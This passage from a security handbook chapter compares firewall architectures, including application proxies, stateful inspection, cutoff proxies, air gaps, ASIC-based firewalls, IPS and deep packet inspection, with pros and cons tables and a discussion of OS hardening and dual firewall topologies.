The application-level gateway runs proxies that examine and filter individual packets, rather than simply copying them and recklessly forwarding them across the gateway. Application-specific proxies check each packet that passes through the gateway, verifying the contents of the packet up through the application layer (layer seven) of the OSI model. These proxies can filter particular information or specific individual commands in the application protocols the proxies are designed to copy, forward, and filter. As an example, an FTP application-level gateway can filter dozens of commands to allow a high degree of granularity on the permissions of specific users of the protected FTP service. Current-technology, application-level gateways are often referred to as strong application proxies. A strong application proxy extends the level of security afforded by the application-level gateway. Instead of copying the entire datagram on behalf of the user, a strong application proxy actually creates a new empty datagram inside the firewall. Only those commands and data found acceptable to the strong application proxy are copied from the original datagram outside the firewall to the new datagram inside the firewall. Then, and only then, is this new datagram forwarded to the protected server behind the firewall. By employing this methodology, the strong application proxy can mitigate the risk of an entire class of covert channel attacks. An application-level gateway filters information at a higher OSI layer than the common static or dynamic packet filter, and most automatically create any necessary packet-filtering rules, usually making them easier to configure than traditional packet filters. By facilitating the inspection of the complete packet, the application-level gateway is one of the most secure firewall architectures available; however, historically, some vendors (usually those that market stateful inspection firewalls) and users have made claims that the security an application-level gateway offers has an inherent drawback — a lack of transparency. In moving software from older 16-bit code to current technology’s 32-bit environment and with the advent of SMP, many of today’s applicationlevel gateways are just as transparent as they are secure. Users on the public or trusted network in most cases do not notice that they are accessing Internet services through a firewall. The pros and cons of application-level gateways are shown in Table 6.4.
83
An Examination of Firewall Architectures
TABLE 6.4
Application-Level Gateway Considerations Pros
Cons
Application gateway with SMP affords a moderate impact on network performance. It breaks direct connection to server behind firewall, eliminating the risk of an entire class of covert channel attacks. Strong application proxy that inspects protocol header lengths can eliminate an entire class of buffer overrun attacks. It has the highest level of security.
Poor implementation can have a high impact on network performance. It must be written securely; historically, some vendors have introduced buffer overruns within the application gateway itself. Vendors must keep up with new protocols; a common complaint of application-level gateway users is lack of timely vendor support for new protocols. A poor implementation that relies on the underlying OS Inetd daemon will suffer from a severe limitation in the number of allowed connections in today’s demanding high simultaneous session environment.
Stateful Inspection Stateful inspection combines the many aspects of dynamic packet-filtering and circuit-level and application-level gateways, as shown in Figure 6.12. While stateful inspection has the inherent ability to examine all seven layers of the OSI model, in the majority of applications observed by the author, stateful inspection was operated only at the network layer of the OSI model and used only as a dynamic packet filter for filtering all incoming and outgoing packets based on source and destination IP addresses and port numbers. Although the vendor claims this is the fault of the administrator’s configuration, many administrators claim that the operating overhead associated with the stateful inspection process prohibits its full utilization. Even though stateful inspection has the inherent ability to inspect all seven layers of the OSI model, most installations only operate as a dynamic packet filter at the network layer of the model.
OSI Model
OSI Model
Application
Application
Presentation
Presentation
Session
Session
Transport
Transport
Network
Network
Data Link
Data Link
Physical
Physical
Network Interface External Network
FIGURE 6.12 Stateful inspection.
Network Interface
Network Interface Internal Network
External Network
Network Interface Internal Network
84
Information Security Management Handbook
As indicated, stateful inspection can also function as a circuit-level gateway, determining whether the packets in a session are appropriate; for example, stateful inspection can verify that inbound SYN and ACK flags and sequence numbers are logical. However, in most implementations, the stateful-inspectionbased firewall operates only as a dynamic packet filter and, dangerously, allows new connections to be established with a single SYN packet. A unique limitation of one popular stateful inspection implementation is that it does not provide the ability to inspect sequence numbers on outbound packets from users behind the firewall. This leads to a flaw whereby internal users can easily spoof IP address of other internal users to open holes through the associated firewall for inbound connections. Finally, stateful inspection can mimic an application-level gateway. Stateful inspection can evaluate the contents of each packet up through the application layer and ensure that these contents match the rules in the administrator’s network security policy.
Better Performance, But What About Security? Like an application-level gateway, stateful inspection can be configured to drop packets that contain specific commands within the application header; for example, the administrator could configure a stateful inspection firewall to drop HTTP packets containing a “Put” command. However, historically, the performance impact of application-level filtering by the single-threaded process of stateful inspection has caused many administrators to abandon their use and to simply opt for dynamic packet filtering to allow the firewall to keep up with their network load requirements. In fact, the default configuration of a popular stateful inspection firewall utilizes dynamic packet filtering and not stateful inspection of the most popular protocol on today’s Internet: HTTP traffic.
Do Current Stateful Inspection Implementations Expose Users to Additional Risks? Unlike an application-level gateway, stateful inspection does not break the client–server model to analyze application-layer data. An application-level gateway creates two connections: (1) one between the trusted client and the gateway, and (2) another between the gateway and the untrusted host. The gateway then copies information between these two connections. This is the core of the well-known proxy versus stateful inspection debate. Some administrators insist that this configuration ensures the highest degree of security; other administrators argue that this configuration slows performance unnecessarily. In an effort to provide a secure connection, a stateful-inspection-based firewall has the ability to intercept and examine each packet up through the application layer of the OSI model. Unfortunately, because of the associated performance impact of the single-threaded stateful inspection process, this configuration is not the one typically deployed. Looking beyond marketing hype and engineering theory, stateful inspection relies on algorithms within an inspect engine to recognize and process application-layer data. These algorithms compare packets against known bit patterns of authorized packets. Respective vendors have claimed that theoretically they are able to filter packets more efficiently than application-specific proxies; however, most stateful inspection engines represent a single-threaded process. With current technology SMP-based application-level gateways operating on multiprocessor servers, the gap has dramatically narrowed. As an example, one vendor’s SMPcapable multiarchitecture firewall that does not use stateful inspection outperforms a popular statefulinspection-based firewall up to 4:1 on throughput and up to 12:1 on simultaneous sessions. Further, due to limitations in the inspect language used in stateful inspection engines, application gateways are now commonly being used to fill in the gaps. The pros and the cons of stateful inspections are shown in Table 6.5.
Cutoff Proxy The cutoff proxy is a hybrid combination of a dynamic (stateful) packet filter and a circuit-level proxy. In simplest terms, the cutoff proxy first acts as a circuit-level proxy in verifying the RFC-recommended three-way handshake and any required authenticating actions, then it switches over to a dynamic packet-
85
An Examination of Firewall Architectures
TABLE 6.5
Stateful Inspection Considerations Pros
Cons
Offers the ability to inspect all seven layers of the OSI model and is user configurable to customize specific filter constructs. Does not break the client–server model. Provides an integral dynamic (stateful) packet filter. Is fast when operated as dynamic packet filter; however, many SMP-compliant dynamic packet filters are actually faster.
The single-threaded process of the stateful inspection engine has a dramatic impact on performance, so many users operate the stateful-inspection-based firewall as nothing more than a dynamic packet filter. Many believe the failure to break the client–server model creates an unacceptable security risk, as the hacker has a direct connection to the protected server. A poor implementation that relies on the underlying OS Inetd daemon will suffer from a severe limitation in the number of allowed connections in today’s demanding high simultaneous session environment. Low level of security; no stateful-inspection-based firewall has achieved higher than a Common Criteria EAL 2 — per the Common Criteria EAL 2 certification documents, EAL 2 products are not intended for use in protecting private networks when connecting to the public Internet.
filtering mode of operation. Hence, it initially works at the session layer (OSI layer five) then switches to a dynamic packet filter working at the network layer (OSI layer three) after the connection–authentication process is completed, as shown in Figure 6.13. The cutoff proxy verifies the RFC-recommended three-way handshake, provides for limited application-based authentication, and then switches to a dynamic packet filter mode of operation. We have pointed out what the cutoff proxy does, but now, more importantly, we need to discuss what it does not do. The cutoff proxy is not a traditional circuit-level proxy that breaks the client–server model for the duration of the connection. A direct connection is established between the remote client and the protected server behind the firewall. This is not to say that a cutoff proxy does not provide a useful balance between security and performance. At issue with respect OSI Model
OSI Model
Application
Application
Presentation
Presentation
Session
Session
Transport
Transport
Network
Network
Data Link
Data Link
Physical
Physical
Network Interface External Network
FIGURE 6.13 Cutoff proxy.
Network Interface
Network Interface Internal Network
External Network
Network Interface Internal Network
86
TABLE 6.6
Information Security Management Handbook
Cut-Off Proxy Considerations Pros
Cons
It has less of an impact on network performance than a traditional circuit gateway. IP spoofing issue is minimized as the three-way connection is verified.
Simply put, it is not a circuit gateway. It still has many of the remaining issues of a dynamic packet filter. It is unaware of packet payload; offers low level of security. It is difficult to create rules (order of precedence). It can offer a false sense of security as vendors incorrectly claim it is equivalent to a traditional circuit gateway.
to the cutoff proxy are vendors who exaggerate by claiming that their cutoff proxy offers a level of security equivalent to a traditional circuit-level gateway with the added benefit of the performance of a dynamic packet filter. In clarification, the author believes that all firewall architectures have their place in Internet security. If an organization’s security policy requires authentication of basic services and examination of the threeway handshake but does not require breaking of the client–server model, then the cutoff proxy is a good fit. However, administrators must be fully aware and understand that a cutoff proxy clearly is not equivalent to a circuit-level proxy as the client–server model is not broken for the duration of the connection. The pros and the cons of the cutoff proxy are shown in Table 6.6.
Air Gap At the time of this writing, the security community has essentially dismissed the merits of air-gap technology as little more than a marketing spin. With air-gap technology, the external client connection causes the connection data to be written to a Small Computer Systems Interface (SCSI) e-Disk. The internal connection then reads this data from the SCSI e-Disk. By breaking the direct connection between the client to the server and independently writing to and reading from the SCSI e-Disk, vendors believe they have provided a higher level of security and a resultant air gap; however, when considering the level of inspection, the air-gap technology offers little more protection than an application-level gateway, as shown in Figure 6.14. The basic operation of air-gap technology closely resembles that of the application-level gateway. Airgap vendors claim that while the operation of air-gap technology resembles that of the application-level gateway, an important difference is the separation of the content inspection from the front end by the isolation provided by the air gap. This may very well be true for those firewall vendors who implement their firewall on top of a standard commercial operating system, but with the current technology firewall operating on a kernel-hardened operating system, there is little distinction. Simply put, vendors who chose to implement kernel-level hardening of the underlying operating system utilizing multilevel security (MLS) or containerization methodologies provide no less security than current air-gap technologies. The author finds it difficult to distinguish air-gap technology from application-level gateway technology. The primary difference appears to be that air-gap technology shares a common SCSI e-Disk and application-level technology shares common RAM. One must also consider the performance limitations of establishing the air gap in an external process (SCSI drive) and the high performance of establishing the same level of separation in a secure kernel-hardened operating system running in kernel memory space. Any measurable benefit of air-gap technology has yet to be verified by any recognized third-party testing authority. Further, current performance of most air-gap-like products falls well behind that obtainable by products based on traditional application-level gateways. Without a verifiable benefit to the level of security provided, the necessary performance costs are prohibitive for many system administrators. The pros and cons of air-gap technology are shown in Table 6.7.
87
An Examination of Firewall Architectures
OSI Model Proxy Application ? Application Presentation Session Transport Network Data Link Physical
Network Interface External Network
Network Interface Internal Network
FIGURE 6.14 Air gap.
ASIC-Based Firewalls Looking at current application-specific integrated circuit (ASIC)-based firewall offerings, the author finds that virtually all are still nothing more than virtual private network (VPN)/firewall hybrids. These hybrids take advantage of the fast encryption and decryption capabilities of the ASIC but provide no more than a dynamic packet filter for most Internet protocols. While some ASIC-based firewall vendors claim to offer full layer seven awareness and stateful inspection capabilities, a quick look at the respective vendor’s graphical user interface (GUI) shows a lack of user configurable functionality above layer four. While the technology might be capable of layer seven inspection, the product (as delivered) provides no real administrator configurable security options above layer four. The term ASIC-based firewall can be misleading. In fact, for most ASIC-based firewall vendors, only a small subset of firewall operations actually occurs in the ASIC. The majority of firewall functions are really accomplished by software operating on a typical microprocessor. Although there has been a lot of discussion about adding additional depth of inspection at the application layer in ASIC-based firewalls, TABLE 6.7
Air Gap Considerations Pros
Cons
It breaks direct connection to server behind firewall, eliminating the risk of an entire class of covert channel attacks. Strong application proxy that inspects protocol header lengths can eliminate an entire class of buffer overrun attacks. As with an application-level gateway, an air gap can potentially offer a high level of security.
It can have a high negative impact on network performance. Vendors must keep up with new protocols; a common complaint of application-level gateway users is the lack of timely response from a vendor to provide application-level gateway support for a new protocol. It currently is not verified by any recognized third-party testing authority.
88
Information Security Management Handbook
TABLE 6.8
ASIC-Based Firewall Considerations Pros
Cons
It provides a dramatic improvement in IPsec encryption and decryption speeds. Fast string comparison capability dramatically speeds up packet inspection against known signatures. ASIC-based firewalls offer the ability to inspect packets at all seven layers of the OSI model. ASIC firewalls are beginning to expand inspection up from basic protocol anomaly detection at layer four to the application layer to afford a higher level of security.
SSL VPN is gaining popularity quickly, and current ASICbased vendors do not support SSL encryption and decryption; current-technology, ASIC-based devices will become obsolete and will have to be replaced with nextgeneration products It works well up through layer four but has not been shown to offer a benefit above layer four, where the majority of attacks are currently targeted. No current ASIC-based product offers administrator configurable security options above layer four within the respective product’s graphical user interface (GUI). Current ASIC-based firewall inspection methodologies are signature based and try to block everything that can possibly be wrong in a given packet; more than 100 new vulnerabilities appear on the Internet every month, making this a difficult task at best.
to date no vendor has been able to successfully commercialize an ASIC-based firewall that provides the true application awareness and configurable granularity of current technology application proxy-based firewalls. ASIC technology is now finding its way into intrusion detection system (IDS) and intrusion prevention system (IPS) products. The fast string comparison capability of the ASIC can provide added performance to string or signature-based IDS/IPS products. Despite the substantial amount of marketing spin about the eventual marriage of a firewall and IPS embedded within an ASIC, no vendor has successfully fulfilled that promise. Trying to rely on a system that depends on knowing the signature of every possible vulnerability is a losing battle when more than 100 new vulnerabilities are released each month. One of the newer and more interesting ASIC-based firewall products includes an ASIC-based embedded anti-virus. By design, an ASIC lends itself well to fast string comparison, which makes the ASIC a natural fit for applications such as anti-virus, but do we really need faster anti-virus? Typically, anti-virus is limited to e-mail, and a few extra seconds in the delivery of an e-mail is not necessarily a problem for most users. Thus, one might question the trade-off in flexibility one has to accept when selecting an ASIC-based product measured against real-world performance. Internet security standards are in a constant state of flux. ASIC designs must be left programmable or “soft” enough that the full speed of an ASIC cannot actually be unleashed. ASIC technology has clearly delivered the best performing VPN products in today’s security marketplace. By design, Internet Protocol Security (IPSec) encryption and decryption algorithms perform better in hardware than in software. Some of these ASIC or purpose-built IPsec accelerators are finding their way into firewall products that offer more than OSI layer four packet filtering. Administrators get the best of worlds — the blazing speed of IPsec VPN and the added security of a real application proxy firewall. The pros and cons of ASICbased firewalls are shown in Table 6.8.
Intrusion Prevention System Over the past two years, products rushed to market have claimed to offer new and exciting “intrusion prevention” capabilities. The claims of vendors pushing these intrusion prevention products are many and include: • Interpreting the intent of data contained in the application payload • Providing application-level analysis and verification • Understanding enough of the protocol to make informed decisions without the overhead of implementing a client–server model as is done with application proxies
89
An Examination of Firewall Architectures
TABLE 6.9
Intrusion-Prevention System Considerations Pros
It provides application-level analysis and verification. IPS is leading edge and can include heuristics, statistics, and behavioral patterns in making determinations regarding decisions to block or allow specific traffic.
Cons Current IPS product-inspection methodologies are primarily signature based and try to block everything that can possibly be wrong in a given packet; more than 100 new vulnerabilities appear on the Internet every month, making this a difficult task. Network security is a place for leading-edge, not bleedingedge, solutions; the use of heuristics, statistics, and behavioral patterns is a great idea but this approach lacks the track record to be field proven as a reliable decision point to defend a network. It is not rocket science; as the list of known signatures grows, IPS performance slows. The rate of newly discovered known bad things on the Internet is ever accelerating and, over time, could render signature-based IPS unusable.
• Utilizing pattern matching, heuristics, statistics, and behavioral patterns to detect attacks and thereby offer maximum attack prevention capability Unfortunately many intrusion prevention systems (IPSs) are simply “born-again” intrusion detection systems (IDSs) with the ability to drop, block, or reset a connection when it senses something malicious. Nearly all IPS systems depend on a library of signatures of malicious activity or known vulnerabilities to compare to packets as they cross the wire. The real value of the IPS is the accuracy and timeliness of the signature database of known vulnerabilities. With BugTraq, Xforce, and others currently posting well over 100 new vulnerabilities each month in commercial and open-source applications and operating systems, the chances of something being missed by the IPS vendor are quite high. The IPS methodology places the administrator in the middle of an arms race between the malicious hacker community (developing exploits) and the IPS vendor’s technical staff (developing signatures). The author is still of the opinion that signature-based IPS systems that rely explicitly on the knowledge of all possible vulnerabilities expose the user to unnecessary risk. Using a traditional firewall with a wellthought-out security policy and patching all servers that are publicly accessible from the Internet could afford better protection. Alternative IPS approaches, especially host-based approaches that rely on heuristics, statistics, and behavioral patterns, show promise but must develop more of a track record for success before being relied on as a primary security device; therefore, at this point in time, the author considers IPS to be a technology that complements an existing conventional network security infrastructure, not one that replaces it. The pros and cons of intrusion prevention systems are shown in Table 6.9.
Deep Packet Inspection Deep-packet-inspection-based firewalls are still doing little more than comparing old outdated vulnerability signatures against traffic flow. Similar to the early days of anti-virus products, we must wait for someone to get hacked before a vulnerability shows up on the radar, then we have to wait for the vendor to research and define a signature to be downloaded to begin to gain some degree of risk mitigation from the threat. While the author believes this signature-based model can afford a faster response from a vendor to support a new protocol or afford fast support of additional granularity in the application controls as applications mature, at the same time a signature-based model can be considered dangerous from a security perspective. This methodology carries all of the legacy issues we saw in the flawed antivirus signature-based approach:
90
Information Security Management Handbook
• Because white space is tolerated by most applications, a little white space in the data before or after a command could logically cause the signature to fail to match the data. The hacker would then get to execute a command that the deep packet inspection firewall was supposed to prevent. • With Gartner reporting up to 70 new vulnerabilities a week and as vendors develop new signatures to match the reported vulnerabilities, managing updates for the firewall signature database could become a daunting task. • Signature-based deep packet inspection effectively puts users in an arms race against an enemy with tens of thousands of more experienced people than the typical organization has. Finally, scalability must be considered. How long will it take to exhaust the processor resources of today’s deep packet inspection firewall? The literature for one popular deep packet inspection firewall states that the initial product release will provide for 250 signatures, and the total firewall signature capacity is stated at only 600 signatures. At the current rate of new vulnerabilities reported by Gartner, users could effectively run out of room for new signatures in a matter of weeks. Further, the popular open-source IDS, Snort, today has nearly 4000 signatures for malicious packets. Today’s deep packet inspection firewalls ship with a signature database of only 250 signatures. What about the other 3750 signatures known to define malicious packets? Current deep packet inspection firewalls effectively allow a third party with no vested interest in a particular organization to determine or prioritize which attacks to protect that organization from and which attacks not to impede. The signature-based model used by the majority of deep packet inspection offerings is simply the wrong approach. Best practices permit only those packets defined within a policy to enter or exit that network. This is a time-proven methodology and the bottom line is that it is a good common-sense approach to network security. The lack of protocol anomaly detection is the Achilles’ heel of deep packet inspection. A vendor’s approach to protocol anomaly detection reveals a great deal about their basic design philosophy and the capabilities of their network security products, as shown in Figure 6.15. The tried-and-true practice with strong application–proxy firewalls is to allow only the packets that are known to be “good” and to deny everything else. Because most protocols used on the Internet are standards based, the best approach is to design the application proxy to be fully protocol aware and to use the standards as the basis for deciding whether to admit or deny a packet. Only packets that demonstrably conform to the standard are admitted; all others are denied. Deep packet inspection firewalls, like most stateful inspection firewalls (as well as many IDS and IDP products), take the opposite approach. Rather than focusing on recognizing and accepting only good packets, they try to find and then deny only the “bad” packets. Such devices are vulnerable because they require updates whenever a new and more creative form of “bad” is unleashed on the Internet. Sometimes, especially with ASIC vendors who implement these packet rules in silicon, it is impossible to make these changes at all without replacing the ASIC itself. Another problem with the “find and deny the bad” methodology is its intrinsic inefficiency. The list of potentially bad things to test for will always be much greater than the predefined and standardized list of good things. One can argue that the “find and deny the bad” approach provides additional information about the nature of the attack and the opportunity to trigger a specific rule and associated alert; however, it is unclear how this really benefits the network administrator. If the attack is denied because it falls outside the realm of the good, does the administrator really care which attack methodology was being employed? As many have seen with IDS, an administrator in a busy network may be distracted or overwhelmed by useless noise generated by failed attacks. The simplified path of a packet traversing a strong application proxy is described in the following text. The new packet arrives at the external interface. Layer four data is tested to validate that the IP source and destination, as well as service ports, are acceptable to the security policy of the firewall. Up to this point, the operation of the application proxy is similar to that of stateful packet filtering. For the most part, the similarities end here. The RFCmandated TCP three-way handshake (http://www.faqs.org/rfcs/rfc793.html) is fully validated for each
91
An Examination of Firewall Architectures
Application Anomaly Detected and Blocked
Application Anomaly
To Secure Network and End User
Information Packet Transfers
New Datagram Containing Only Known Good Data
Infected Layer
Firewall Protection Protocol and Application Aware
Application Proxy Application Presentation Session Transport Network Firewall with Protocol and Application Awareness
Data Link Physical Connection
OSI Model
FIGURE 6.15 Capabilities of network security products.
and every connection, as shown in Figure 6.16. If the three-way handshake is not properly completed, the connection is immediately closed before any attempt is made to establish a connection to the protected server. Among other benefits, this approach effectively eliminates any possibility of SYN flooding a protected server. This is where vital differences become apparent. Many stateful inspection firewalls do not validate the three-way handshake in order to achieve higher performance and packet throughput. In the author’s opinion, this approach is dangerous and ill conceived, because it could allow malicious packets with forged IP addresses to sneak right past the stateful firewall. More troubling is the fast-path mode of operation employed by some stateful inspection firewall vendors. When fast path is engaged, the firewall inspects only those packets in which the SYN flag is set. This is extremely dangerous. Given the availability of sophisticated and easy-to-use hacking tools online, any 13-year-old with a modem and a little spare time could exploit this weakness and penetrate the fast-path-mode firewall simply by avoiding the use of SYN flagged packets. The result is that malicious packets pass directly through the firewall without ever being inspected. Informed network administrators are unlikely to open this gaping hole in their security infrastructure to gain the marginal increase in throughput provided by fast path. For each “good” packet, a new empty datagram is created on the Internal side of the firewall. Creating a brand new datagram completely eliminates the possibility that an attacker could hide malicious data in any unused protocol headers or, for that matter, in any unused flags or other datagram fields. This methodology — part of the core application proxy functionality found within strong application proxy firewalls — effectively eliminates an entire class of covert channel attacks. Unfortunately, this capability is not available in any stateful inspection firewall. Instead, stateful inspection firewalls allow attackers to make a direct connection to the server, which is supposedly being protected behind the firewall.
92
Information Security Management Handbook
Send SYN (SEQ=X)
Receive SYN (SEQ=Y, ACK=X+1)
Receive SYN (SEQ=X)
Send SYN (SEQ=Y, ACK=X+1)
Send ACK (ACK=Y+1) Receive ACK (ACK=Y+1)
FIGURE 6.16 Three-way handshake.
Protocol anomaly testing is performed on the packet to validate that all protocol headers are within clearly defined protocol specifications. This is not rocket science, although some elegant engineering is required to do this quickly and efficiently. Because Internet protocols are based on published standards, the application proxy uses these as the basis for defining what is acceptable and denies the rest. Stateful inspection firewall vendors have tried to address this requirement by adding limited filtering capabilities intended to identify attack-related protocol anomalies and then deny these bad packets. Unfortunately, this approach is inherently flawed. Most stateful inspection firewalls employ a keyword-like filtering methodology. Rather than using the RFCdefined standards to validate and accept good packets (our “virtue is its own reward” approach), stateful inspection firewalls typically filter for bad keywords in the application payload. By now, the problem with this approach should be evident. There will always be new bad things created by malicious users. Detecting and accepting only those packets that adhere to RFC standards is a more efficient and — in this writer’s opinion — a far more elegant solution. Let’s take a look at SMTP as an example. A strong application proxy applies the RFC 821 standard for the format of Advanced Research Projects Agency (ARPA) Internet text messages (www.faqs.org/rfcs/ rfc821.html) and the RFC 822 SMTP standard (www.faqs.org/rfcs/rfc822.html) to validate protocol adherence. It also lets the user define “goodness” using another dozen or so protocol- and application-related data points within the SMTP packet exchange. This enables an administrator to minimize or eliminate the risk of many security issues that commonly plague SMTP applications on the Internet today, such as: • • • • • • •
Worms and virus attacks Mail relay attacks Mime attacks Spam attacks Buffer overflow attacks Address spoofing attacks Covert channel attacks
In contrast, a stateful inspection firewall must compare each packet to the predefined signatures of hundreds of known SMTP exploits, a list that is constantly growing and changing. This places security professionals in a virtual arms race with the entire hacker community, and they will never be able to completely filter their way to a secure network; it is an insurmountable task.
An Examination of Firewall Architectures
93
Another element of risk with filter-based approaches is vulnerability. Attackers frequently fool the filter simply by adding white spaces between the malicious commands. Not recognizing the command, the firewall passes the packet to the protected application, which will then disregard the white spaces and process the commands. As with any filter, if the signature does not explicitly match the packet, the packet will be allowed. No network administrator can confidently rely on such a vulnerable technology. With the strong application proxy approach, virtually all SMTP-related attacks could be mitigated more effectively and efficiently than is possible with the filtering approach used by stateful inspection vendors. The application proxy applies the (very granular) command-level controls and validates these against the permission level of the user. The application proxy approach provides the ultimate level of application awareness and control. Administrators have the granularity of control needed to determine exactly what kind of access is available to each user. This capability is nonexistent in the implementation of most stateful inspection firewalls. It is difficult or impossible to validate claims made by many stateful inspection firewall vendors that they provide meaningful application-level security. As we have seen, the “find and deny the bad” filter-based approaches are inefficient and vulnerable. They simply do not provide the same level of security as a strong application proxy firewall. When the packet has been recognized as protocol compliant and the application-level commands have been validated against the security policy for that user, the permitted content is copied to the new datagram on the internal side of the firewall. The application proxy breaks the client–server connection, effectively removing any direct link between the attacker and the protected server. By copying and forwarding only good contents, the application proxy firewall can eliminate virtually all protocol level and covert channel attacks. Stateful inspection firewalls do not break the client–server connection; hence, the attacker can establish a direct connection to the protected server if an attack is successful. And, because all protection requires the administrator to update the list of bad keywords and signatures, no integral protection to new protocol-level attacks is provided. At best, protection is only afforded to known attacks through inefficient filtering techniques. A strong application proxy elevates the art of protocol and application awareness to the highest possible level, as shown in Figure 6.17.
Firewall Platforms Operating System Hardening One of the most misunderstood terms in network security with respect to firewalls today is OS hardening (or (hardened OS). Many vendors claim their network security products are provided with a hardened OS. In virtually all cases, however, the vendor has simply turned off or removed unnecessary services and patched the operating system for known vulnerabilities. Clearly, this is not a hardened OS but is actually a patched OS. What is a real hardened OS? A hardened OS is one in which the vendor has modified the kernel source code to provide for a mechanism that clearly provides a security perimeter between the nonsecure application software, the secure application software, and the network stack, as shown in Figure 6.18. This eliminates the risk of the exploitation of a service running on the hardened OS that could otherwise provide root-level privileges to the hacker. The security perimeter is typically established using one of two popular methodologies: • Multilevel security (MLS) establishes a perimeter using labels assigned to each packet and applies rules for the acceptance of said packets at various levels of the OS and services. • Compartmentalization provides a sandbox approach (strong chroot jail), where an application essentially runs in a dedicated kernel space with no path to another object within the kernel.
94
Information Security Management Handbook
FIGURE 6.17 Strong application proxy.
Other security-related enhancements that are commonly found in kernel-level hardening methodologies include: • • • •
Separation of event logging from root Mandatory access controls File system security enhancements Log everything from all running processes
What is a patched OS? A patched OS is typically a commercial OS in which the administrator turns off or removes all unnecessary services and installs the latest security patches from the OS vendor. A patched OS has had no modifications made to the kernel source code to enhance security. Is a patched OS as secure as a hardened OS? No. A patched OS is only secure until the next vulnerability in the underlying OS or allowed services is discovered. An administrator may argue that, when he has completed installing his patches and turning off services, the OS is secure. The bottom-line question, though, is: With more than 100 new vulnerabilities being posted to Bugtraq each month, how long will it remain secure? How do you determine if a product is provided with a hardened OS? If the product was supplied with a commercial OS, rest assured that it is not a hardened OS. The principal element here is that, in order to harden an OS, it is necessary to own the source code to the OS to make the necessary kernel modifications. To be really sure, it is a good idea to ask the vendor to provide third-party validation that the OS is, in fact, hardened at the kernel level (http://www.radium.ncsc.mil/tpep/epl/historical.html). Why is OS hardening such an important issue? Too many in the security industry have been lulled into a false sense of security. Decisions on security products are based primarily on popularity and price with little regard to the actual security the product can provide. With firewalls moving further up the OSI model, more firewall vendors are providing application proxies that operate in kernel space. These proxies, if written insecurely, could provide a hacker with root access to the firewall itself. This is not a “what if?”
95
An Examination of Firewall Architectures
Security Attack
Security Attack
Non-Secure
Secured
Application
Application
Network Attack
Firewall
Secure Operating System
Secure Network System
Computer Hardware
FIGURE 6.18 Secure application software and network stack.
proposition; it just recently happened with a popular firewall product. A flaw in the HTTP security mechanism potentially allows a hacker to gain root access to the firewall, which runs on a commercial patched OS. Where can I find additional information about OS vulnerabilities? • • • • •
Where can I find additional information about patching an OS? More than 40 experts in the SANS community worked together for over a year to create two elegant and effective scripts: • For Solaris, http://yassp.parc.xerox.com/ • For Red Hat Linux, http://www.sans.org/newlook/projects/bastille_linux.htm Lance Spitzner has written a number of great technical documents (http://www.enteract.com/~lspitz/ pubs.html): • Armoring Linux • Armoring Solaris • Armoring NT Stanford University has also released a number of excellent technical documents (http://www.stanford.edu/group/itss-ccs/security/Bestuse/Systems/): • • • • • •
Redhat Linux Solaris SunOS AIX 4.x HPUX NT
96
Information Security Management Handbook
Hardware-Based Firewalls The marketing term hardware-based firewall is still a point of confusion in today’s firewall market. For clarification, there is simply no such thing on the market today as a purely hardware-based firewall that does not utilize a microprocessor, firmware, and software (just like any other firewall). Some firewall vendors eliminate the hard disk, install a flash disk, and call the result a hardware-based firewall appliance. Some may go so far as to use an ASIC to complement the microprocessor, but they still rely on underlying firmware, software, and, of course, a microprocessor to accomplish the tasks that make it a firewall. Ironically, those vendors that eliminated the “spinning media” hard disk in an effort to improve environmental considerations such as vibration and temperature are now seeing next-generation hard drives that can exceed some of the environmental conditions of the flash or electronic media that was developed to replace them. In high-temperature environments, a traditional firewall with a hard disk might very well offer better physical performance characteristics than a supposed hardware-based firewall that uses a form of flash memory. Another consideration in the hardware-based firewall approach is a either severely limited or complete lack of historical log and alert archiving locally. While at first glance a hardware-based appliance looks like a simple approach, it may be necessary to add the complexity of a remote log server in order to have a useable system with at least some form of minimal forensic capability in the event of an intrusion.
Other Considerations Firewall Topologies The use of a multilayer, dual firewall topology is relatively new in network security, but it is rapidly gaining in popularity. In many respects, a dual firewall topology is similar to that of the one out of two (1oo2) protection schemes for industrial process control systems (Figure 6.19). This 1oo2 protection scheme has been used effectively to mitigate risk in industrial process control systems for many years. Network security can benefit from the lessons learned in the evolution of process control systems. In an industrial process control system, it was recognized long ago that the failure of a single critical input from a sensor that signals an unsafe condition could have catastrophic results. In an effort to mitigate this risk, industrial process control system designers devised a scheme where, instead of relying on a single sensor measuring a process variable, two separate sensors are used, and each sensor has a vote on whether or not conditions are safe. The voting logic of the industrial process control system would consider the vote of each sensor and, if both sensors did not agree that conditions were safe, the system would initiate a safe shutdown process to prevent a catastrophic failure. Thus, to continue normal operations, both of the two sensors must agree that conditions are safe. A dual firewall topology is similar to an industrial process control system 1oo2 voting scheme in that both firewalls must agree that a received packet does not pose a security risk (conditions are safe) or the packet is denied and not permitted to be passed to the protected network, as shown in Figure 6.19. To continue normal operations (allowing packets to pass through the firewall), both of the two firewalls (sensors) must agree that conditions are safe, as shown in Figure 6.20. The author has seen a clear increase in the use of dual firewall topology in the enterprise network security environment. Unfortunately, many of these deployments include a critical error that eliminates most, if not all, of the risk mitigation capability normally found in a properly designed topology. Although they have, indeed, used two firewalls in series, the system designer has made the error of using a packet-filtering firewall in front of an application proxy firewall in the mistaken assumption that this dual firewall topology will increase risk mitigation. The bottom line in this topology is that all that has been accomplished is a decrease in reliability and manageability with no increase in risk mitigation.
97
An Examination of Firewall Architectures
Sensor 1
AND
SAFE
Sensor 2
FIGURE 6.19 1oo2 logic diagram.
Firewall 1
AND
SAFE
Firewall 2
FIGURE 6.20 Firewalls in 1oo2 topology.
Let me explain why I believe this topology is incorrect and why many are now living unknowingly with a false sense of security derived from relying on the dual firewall topology described above. Clearly, hackers have exhausted the available protocol-level attacks up through layer four. Today, the majority of attacks launched against private enterprise networks via the Internet are application-level attacks. In a dual firewall topology where a packet-filtering firewall is in front of an application proxy firewall, an application-level attack simply passes through the first firewall completely unchecked and the only defense remaining is the second firewall. Risk mitigation is not increased when the first firewall never inspects the payload of the packet and the system is relying completely on the second firewall for defense (Figure 6.21). Some might argue that in this topology security is increased because the attacker has to break through the first firewall and is then confronted by a second layer of defense provided by the application-level firewall. The logic in this argument fails because, in fact, the attacker does not have to break through the first firewall for the application-level attack. The attack simply passes through the open packet-filtered ports of the first firewall without the application-level attack being detected. It is as if the applicationlevel attack did not exist. The only potential for risk mitigation is in the application proxy of the second
98
Information Security Management Handbook
Attack Application Presentation Session Transport
Transport
Network
Network
Datalink
Datalink
Physical Layer 4 Firewall
Physical Layer 7 Firewall
FIGURE 6.21 Incorrect dual firewall topology.
